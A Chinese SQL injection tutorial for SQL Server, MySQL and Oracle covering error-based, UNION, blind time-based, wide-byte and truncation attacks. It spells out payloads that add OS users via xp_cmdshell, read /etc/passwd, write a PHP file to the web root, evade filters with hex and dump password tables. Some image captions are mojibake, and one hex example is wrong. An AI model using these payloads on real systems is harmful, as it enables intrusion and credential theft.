SQL Server 2008,MySQL 5.1和Oracle 11g的sql注入詳解

SQL 注入原理


SQL注入攻擊指的是通過構建特殊的輸入作爲參數傳入Web應用程序,而這些輸入大都是SQL語法裏的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細緻地過濾用戶輸入的數據,致使非法數據侵入系統。

SQL 注入分類
1. 數字型注入
當輸入的參數爲整型時,則有可能存在數字型注入漏洞。

假設存在一條 URL 爲:HTTP://www.aaa.com/test.php?id=1
可以對後臺的 SQL 語句猜測爲:
SELECT * FROM table WHERE id=1

判斷數字型漏洞的 SQL 注入點:
① 先在輸入框中輸入一個單引號 '
這樣的 SQL 語句就會變爲:
SELECT * FROM table WHERE id=1',
不符合語法,所以該語句肯定會出錯,導致腳本程序無法從數據庫獲取數據,從而使原來的頁面出現異常。

② 在輸入框中輸入 and 1 = 1
SQL語句變爲:
SELECT * FROM table WHERE id=1 and 1 = 1
語句正確,執行正常,返回的數據與原始請求無任何差異。

③ 在數據庫中輸入 and 1 = 2
SQL 語句變爲:
SELECT * FROM table WHERE id=1 and 1 = 2
雖然語法正確,語句執行正常,但是邏輯錯誤,因爲 1 = 2 爲永假,所以返回數據與原始請求有差異。

如果以上三個步驟全部滿足,則程序就可能存在數字型 SQL 注入漏洞。

2. 字符型注入
當輸入參數爲字符串時,則可能存在字符型注入漏洞。數字型與字符型注入最大的區別在於:數字型不需要單引號閉合,而字符型一般需要使用單引號來閉合。

字符型注入最關鍵的是如何閉合 SQL 語句以及註釋多餘的代碼。

假設後臺的 SQL 語句如下:
SELECT * FROM table WHERE username = 'admin'

判斷字符型漏洞的 SQL 注入點:
① 還是先輸入單引號 admin' 來測試
這樣的 SQL 語句就會變爲:
SELECT * FROM table WHERE username = 'admin''。
頁面異常。

② 輸入:admin' and 1 = 1 --
注意:在 admin 後有一個單引號 ',用於字符串閉合,最後還有一個註釋符 --(兩條槓後面還有一個空格!!!)。
SQL 語句變爲:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
頁面顯示正確。

③ 輸入:admin' and 1 = 2 --
SQL 語句變爲:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
頁面錯誤。

滿足上面三個步驟則有可能存在字符型 SQL 注入。

3. 其他類型
其實我覺得 SQL 注入只有兩種類型:數字型與字符型。很多人可能會說還有如:Cookie 注入、POST 注入、延時注入等。
的確如此,但這些類型的注入歸根結底也是數字型和字符型注入的不同展現形式或者注入的位置不同罷了。

以下是一些常見的注入叫法:

  • POST注入:注入字段在 POST 數據中
  • Cookie注入:注入字段在 Cookie 數據中
  • 延時注入:使用數據庫延時特性注入
  • 搜索注入:注入處爲搜索的地方
  • base64注入:注入字符串需要經過 base64 加密


常見數據庫的注入
攻擊者對於數據庫注入,無非是利用數據庫獲取更多的數據或者更大的權限,利用的方式可以歸結爲以下幾類:

  • 查詢數據
  • 讀寫文件
  • 執行命令

攻擊者對於程序注入,無論任何數據庫,無非都是在做這三件事,只不過不同的數據庫注入的 SQL 語句不一樣罷了。

這裏介紹三種數據庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。

 

SQL Server


1. 利用錯誤消息提取信息
SQL Server 數據庫是一個非常優秀的數據庫,它可以準確地定位錯誤信息,這對攻擊者來說是一件十分美好的事情,因爲攻擊者可以通過錯誤消息提取自己想要的數據。

① 枚舉當前表或者列
假設選擇存在這樣一張表:

查詢 root 用戶的詳細信息,SQL 語句猜測如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'

攻擊者可以利用 SQL Server 特性來獲取敏感信息,在輸入框中輸入如下語句:
' having 1 = 1 --
最終執行的 SQL 語句就會變爲:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --

那麼 SQL 的執行器可能會拋出一個錯誤:


攻擊者就可以發現當前的表名爲 user、而且存在字段 id。

攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:
' GROUP BY users.id HAVING 1 = 1 --
則 SQL 語句變爲:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --

拋出錯誤:

由此可以看到包含列名 username。可以一次遞歸查詢,知道沒有錯誤消息返回位置,這樣就可以利用 HAVING 字句得到當表的所有列名。
注:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數

②. 利用數據類型錯誤提取數據
如果試圖將一個字符串與非字符串比較,或者將一個字符串轉換爲另一個不兼容的類型,那麼SQL 編輯器將會拋出異常。

如下列 SQL 語句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)

執行器錯誤提示:

這就可以獲取到用戶的用戶名爲 root。因爲在子查詢 SELECT TOP 1 username FROM users 中,將查詢到的用戶名的第一個返回,返回類型是 varchar 類型,然後要跟 int 類型的 1 比較,兩種類型不同的數據無法比較而報錯,從而導致了數據泄露。

利用此方法可以遞歸推導出所有的賬戶信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
通過構造此語句就可以獲得下一個 用戶名;若把子查詢中的 username 換成其他列名,則可以獲取其他列的信息,這裏就不再贅述。

2. 獲取元數據
SQL Server 提供了大量視圖,便於取得元數據。可以先猜測出表的列數,然後用 UNION 來構造 SQL 語句獲取其中的數據。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若當前表的列數爲 2,則可以 UNION 語句獲取當前數據庫表。具體怎麼猜測當前表的列數,後面進行描述。

一些常用的系統數據庫視圖:

數據庫視圖  說明
SYS.DATABASES SQL Server 中的所有數據庫
SYS.SQL_LOGINS SQL Server 中的所有登錄名
INFORMATION_SCHEMA.TABLES 當前用戶數據庫中的所有數據表
INFORMATION_SCHEMA.COLUMNS 當前用戶數據庫中的所有列
SYS.ALL_COLUMNS 用戶定義對象和系統對象的所有列的聯合
SYS.DATABASE_PRINCIPALS 數據庫中每個權限或列異常權限
SYS.DATABASE_FILES 存儲在數據庫中的數據庫文件
SYSOBJECTS  數據庫中創建的每個對象 (包括約束、日誌以及存儲過程)


3. ORDER BY 子句猜測列數
可以用 ORDER BY 語句來判斷當前表的列數。

如:
① SELECT * FROM users WHERE id = 1——SQL執行正常

②SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL執行正常

③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執行正常

④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 執行正常

⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 拋出異常:

å¨è¿éæå¥å¾çæè¿°

由此可以得出,當前表的列數只有 3 列,因爲當按照第 4 列排序時報錯了。在 Oracle 和 MySql 數據庫中同樣適用此方法。

在得知列數後,攻擊者通常會配合 UNION 關鍵字進行下一步的攻擊。

4. UNION 查詢
UNION 關鍵字將兩個或多個查詢結果組合爲單個結果集,大部分數據庫都支持 UNION 查詢。但適用 UNION 合併兩個結果有如下基本規則:

  • 所有查詢中的列數必須相同
  • 數據類型必須兼容

① 用 UNION 查詢猜測列數
不僅可以用 ORDER BY 方法來猜測列數,UNION 方法同樣可以。

在之前假設的 user 表中有 5 列,若我們用 UNION 聯合查詢:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
數據庫會發出異常:

å¨è¿éæå¥å¾çæè¿°

可以通過遞歸查詢,直到無錯誤產生,就可以得知 User 表的查詢字段數:
UNION SELECT 1,2、UNION SELECT 1,2,3

也可以將 SELECT 後面的數字改爲 null、這樣不容易出現不兼容的異常。

② 聯合查詢敏感信息
在得知列數爲 4後,可以使用一下語句繼續注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示對象類型是表)

若第一列的數據類型不匹配,數據庫會報錯,那麼可以遞歸查詢,直到語句兼容。等到語句正常執行,就可以將 x 換爲 SQL 語句,查詢敏感信息。

5. 利用SQL Server 提供的系統函數
SQL Server 提供了非常多的系統函數,利用該系統函數可以訪問 SQL Server 系統表中的信息,而無需使用 SQL 查詢語句。

如:

  • SELECT suser_name():返回用戶的登錄標識名
  • SELECT user_name():基於指定的標識號返回數據庫用戶名
  • SELECT db_name():返回數據庫名
  • SELECT is_member(‘db_owner’):是否爲數據庫角色
  • SELECT convert(int, ‘5’):數據類型轉換

6. 存儲過程
存儲過程 (Stored Procedure) 是在大型數據庫系統中爲了完成特定功能的一組 SQL “函數”,如:執行系統命令、查看註冊表、讀取磁盤目錄等。

攻擊者最長使用的存儲過程是 “xp_cmdshell”,這個存儲過程允許用戶執行操作系統命令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入點,那麼攻擊者就可以實施命令攻擊:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最終執行的 SQL 語句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分號後面的那一段語句就可以爲攻擊者在對方服務器上新建一個用戶名爲 test、密碼爲 test 的用戶。
注:並不是任何數據庫用戶都可以使用此類存儲過程,用戶必須持有 CONTROL SERVER 權限。

常見的危險存儲過程如下表:

存儲過程 說明
sp_addlogin 創建新的 SQL Server 登錄,該登錄允許用戶使用 SQL Server 身份連接到 SQL Server 實例
sp_dropuser 從當前數據庫中刪除數據庫用戶
xp_enumgroups 提供 Microsoft Windows 本地組列表或在指定的 Windows 域中定義全局組列表
xp_regread 讀取註冊表
xp_regwrite 寫入註冊表
xp_redeletevalue 刪除註冊表
xp_dirtree 讀取目錄
sp_password 更改密碼
xp_servicecontrol 停止或激活某服務

 
另外,任何數據庫在使用一些特殊的函數或存儲過程時,都需要特定的權限。常見的SQL Server 數據庫的角色與權限如下:

角色 權限
bulkadmin 可以運行 BULK INSERT 語句
dbcreator 可以創建、更改、刪除和還原任何數據庫
diskadmin  可以管理磁盤文件
processadmin 可以種植在數據庫引擎中運行的實例
securityadmin  可以管理登錄名及其屬性;可以利用 GRANT、DENY 和 REVOKE 服務器級別的權限;還可以利用 GRANT、DENY 和 REVOKE 數據庫級別的權限;此外也可以重置 SQL Server 登錄名的密碼
serveradmin 可以更改服務器範圍的配置選項和關閉服務器
setupadmin 可以添加和刪除鏈接服務器,並可以執行某些系統存儲過程
sysadmin 可以在數據庫引擎中執行任何活動

    
7. 動態執行
SQL Server 支持動態執行語句,用戶可以提交一個字符串來執行 SQL 語句。

如:exec('SELECT username, password FROM users')

也可以通過定義十六進制的 SQL 語句,使用 exec 函數執行。大部分 Web 應用程序和防火牆都過濾了單引號,利用 exec 執行十六進制 SQL 語句可以突破很多防火牆及防注入程序,如:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

或者:
declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)

MySQL


前面詳細講述了 SQL Server 的注入過程,在注入其他數據庫時,基本思路是相同的,只不過兩者使用的函數或者是語句稍有差異。

1. MySQL 中的註釋
MySQL 支持以下 3 中註釋風格:

  • “#”: 註釋從 “#” 到行尾
  • "-- " :註釋從 “-- ”序列到行位,需要注意的是使用此註釋時,後面需要跟上空格
  • /**/:註釋從 /* 到 */ 之間的字符

2. 獲取元數據
MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,這是一個信息數據庫,它提供了訪問數據庫元數據的方式。下面介紹如何從中讀取數據庫名稱、表名稱以及列名稱。

① 查詢用戶數據庫名稱
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關於數據庫的信息。

②查詢當前數據表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了數據庫中表的信息。

③查詢指定表的所有字段
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列信息。

3. UNION 查詢
與 SQL Server 大致相同,此處不贅述。

4. MySQL 函數利用
無論是 MySQL、Oracle 還是其他數據庫都內置了許多系統函數,這些數據庫函數都非常類似,接下來介紹一些對滲透測試人員很有幫助的 MySQL 函數。

① load_file() 函數讀文件操作
MySQL 提供了 load_file() 函數,可以幫助用戶快速讀取文件,但文件的位置必須在服務器上,文件必須爲絕對路徑,且用戶必須有 FILE 權限,文件容量也必須小於 max_allowed_packet 字節 (默認爲 16MB,最大爲 1GB)。

SQL 語句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入語句不允許單引號出現,那麼可以使用一下語句繞過:
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 爲 “/etc/passwd” 的十六進制轉換結果。

在瀏覽器返回數據時,有可能存在亂碼問題,那麼可以使用 hex() 函數將字符串轉換爲十六進制數據。

② into outfile 寫文件操作
MySQL 提供了向磁盤寫文件的操作,與 load_file() 一樣,必須有 FILE 權限,並且文件必須爲全路徑名稱。

寫入文件:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'

③ 連接字符串
MySQL 如果需要一次查詢多個數據,可以使用 concat() 或 concat_ws() 函數來完成。

SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());

也可以將逗號改用十六進制表示:0x2c

5. MySQL 顯錯式注入
MySQL 也存在顯錯式注入,可以像 SQL Server 數據庫那樣,使用錯誤提取消息。

① 通過 updatexml 函數執行 SQL 語句

首先了解下updatexml()函數:
updatexml (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱;
第二個參數:XPath_string (Xpath格式的字符串) ,
第三個參數:new_value,String格式,替換查找到的符合條件的數據

SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,報錯,會顯示出無法識別的內容:

å¨è¿éæå¥å¾çæè¿°
② 通過 extractvalue函數
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同樣報錯顯示出當前用戶:

å¨è¿éæå¥å¾çæè¿°
6. 寬字節注入
寬字節注入是由編碼不統一所造成的,這種注入一般出現在 PHP + MySQL中。

在 PHP 配置文件 php.ini 中存在 magic_quotes_gpc 選項,被稱爲魔術引號,當此選項被打開時,使用 GET、POST、Cookie 所接受的 單引號(’)、雙引號(")、反斜線() 和 NULL 字符都會自動加上一個反斜線轉義。

如下使用 PHP 代碼使用 $_GET 接收參數:

å¨è¿éæå¥å¾çæè¿°
如訪問URL:http:/www.xxser.com/Get.php?id=',顯示如下:

å¨è¿éæå¥å¾çæè¿°
單引號'被轉義後就變成了\',在 MySQL 中,\'是一個合法的字符,也就沒辦法閉合單引號,所以,注入類型是字符型時無法構成注入。

但是若是輸入:%d5',訪問URL:http:/www.xxser.com/Get.php?id=%d5',顯示如下:

å¨è¿éæå¥å¾çæè¿°

可以發現,這次單引號沒有被轉義,這樣就可以突破 PHP 轉義,繼續閉合 SQL 語句進行 SQL 注入。

7. MySQL 長字符截斷
MySQL 超長字符截斷又名 “SQL-Column-Truncation”。
在 MySQL 中的一個設置裏有一個 sql_mode 選項,當 sql_mode 設置爲 default 時,即沒有開啓 STRICT——ALL_TABLES 選項時,MySQL 對插入超長的值只會提示 waring,而不是 error。

假設有一張表如下:

å¨è¿éæå¥å¾çæè¿°

username 字段的長度爲 7。

分別插入一下 SQL 語句:
① 插入正常 SQL 語句:
INSERT users(id, username, password) VALUES(1, 'admin', 'admin');

å¨è¿éæå¥å¾çæè¿°

成功插入。

② 插入錯誤的 SQL 語句,使 username 字段的長度超過7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');

å¨è¿éæå¥å¾çæè¿°

雖然有警告,但是成功插入了。

③ 再嘗試插入一條錯誤的 SQL 語句,長度同一超過原有的規定長度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;

å¨è¿éæå¥å¾çæè¿°
查詢數據庫:

å¨è¿éæå¥å¾çæè¿°

可以看到,三條數據都被插入到數據庫中,但是值發生了變化。在默認情況下,如果數據超出默認長度,MySQL 會將其階段。

但是這樣怎麼攻擊呢?通過查詢用戶名爲 admin 的用戶:

å¨è¿éæå¥å¾çæè¿°

可以發現,只查詢用戶名爲 admin 的用戶,但是另外兩個長度不一致的 admin 用戶也被查詢出,這樣就會造成一些安全問題。

比如有一處管理員登錄時這樣判斷的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";

那麼攻擊者只需要註冊一個長度超過規定長度的用戶名“admin ”即可輕易進入後臺管理頁面。

8. 延時注入
延時注入屬於盲注技術的一種,是一種基於時間差異的注入技術。下面以 MySQL 爲例介紹延時注入。

在 MySQL 中有一個函數:sleep(duration),這個函數意思是在 duration 參數給定數秒後運行語句,如下 SQL 語句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是將在 3 秒後執行該 SQL 語句。

可以使用這個函數來判斷 URL 是否存在 SQL 注入漏洞,步驟如下:

å¨è¿éæå¥å¾çæè¿°

通過頁面返回的世界可以斷定,DBMS 執行了 and sleep(3) 語句,這樣一來就可以判斷出 URL 存在 SQL 注入漏洞。

然後通過 sleep() 函數還可以讀出數據,但需要其他函數的配合,步驟如下:
①查詢當前用戶,並取得字符串長度
執行SQL 語句:
AND if(length(user()) = 0, sleep(3), 1)
如果出現 3 秒延時,就可以判斷出 user 字符串長度,注入時通常會採用折半算法減少判斷。

② 截取字符串第一個字符,並轉換爲 ASCII 碼
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不斷更換 ASCII 碼直到出現延時 3 秒就可以猜測出第一個字符。

③ 遞歸截取字符串每一個字符,分別於 ASCII 碼比較
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字符串的第幾個字符,N 的位置代表 ASCII 碼。

不僅在 MySQL 中存在延時函數,在 SQL Server、Oracle 等數據庫中也都存在類似功能的函數,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數。

Oracle


1. 獲取元數據
Oracle 也支持查詢元數據,下面是 Oracle 注入常用的元數據視圖:
① user_tablespaces 視圖,查看錶空間
SELECT tablespace_name FROM user_tablespaces

② user_tables 視圖,查看當前用戶的所有表
SELECT table_name FROM user_tables WHERE rownum = 1

③ user_tab_columns 視圖,查看當前用戶的所有列,如查詢 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'

④ all_users 視圖,查看 ORacle 數據庫的所有用戶
SELECT username FROM all_users

⑤ user_objects 視圖,查看當前用戶的所有對象 (表名稱、約束、索引)
SELECT object_name FROM user_objects

2. UNION 查詢
Oracle 與 MySQL 一樣不支持多語句執行,不像 SQL Server 那樣可以用分號隔開從而注入多條 SQL 語句。

①獲取列的總數
獲取列總數方法與前面兩種數據庫類似,依然可以使用 ORDER BY 子句來完成。

另一種方法是利用 UNION 關鍵字來確定,但是 Oracle 規定,每次查詢時後面必須跟表的名稱,否則查詢將不成立。

在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
這裏的 dual 是 Oracle 中的虛擬表,在不知道數據庫中存在哪些表的情況下,可以使用此表作爲查詢表。

然後獲取非數字類型列,即可以顯示出信息的列:
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual

把每一位的 null 依次用單引號 ’ 引起來,如果報錯,則不是字符串類型的列;如果返回正常,則是字符串類型的列,就可以在相應的位置插入查詢語句獲取信息。

② 獲取敏感信息
常見的敏感信息如下:

  • 當前用戶權限:SELECT * FROM session_roles
  • 當前數據庫版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
  • 服務器出口 IP:用utl_http.request 可以實現
  • 服務器監聽 IP:SELECT utl_inaddr.get_host_address FROM dual
  • 服務器操作系統:SELECT member FROM v$logfile WHERE rownum = 1
  • 服務器 SID:SELECT instance_name FROM v$instance
  • 當前連接用戶:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual

③ 獲取數據庫表及其內容
在得知表的列數之後,可以通過查詢元數據的方式查詢表名稱、列名稱,然後查詢數據,如:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查詢數據時同樣要注意數據類型,否則無法查詢,只能一一測試,改變參數的查詢位置。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章